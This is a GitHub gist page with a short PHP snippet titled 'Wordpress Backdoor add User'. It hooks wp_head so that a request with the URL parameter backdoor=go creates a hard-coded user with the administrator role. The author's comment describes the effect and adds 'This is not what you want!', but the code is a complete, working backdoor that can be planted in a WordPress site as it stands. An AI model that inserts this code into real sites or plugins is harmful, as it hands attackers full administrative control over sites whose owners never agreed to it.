Skip to content

Instantly share code, notes, and snippets.

@vlrmprjct
Last active April 16, 2020 16:24
Show Gist options
  • Save vlrmprjct/aae84dad3ca65637c0770d0b2b28d7db to your computer and use it in GitHub Desktop.
Save vlrmprjct/aae84dad3ca65637c0770d0b2b28d7db to your computer and use it in GitHub Desktop.
Wordpress Backdoor add User #wordpress #php
add_action('wp_head', 'wpBackdoor');
function wpBackdoor() {
if ($_GET['backdoor'] == 'go') {
require('wp-includes/registration.php');
if (!username_exists('USERNAME')) {
$userID = wp_create_user('USERNAME', 'PASSWORD');
$user = new WP_User($userID);
$user->set_role('administrator');
}
}
}
@vlrmprjct
Copy link
Author

This snippet above creates an user with pw if you call the URL with the parameter go on a given domain where the backdoor is implemented.
This is not what you want!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment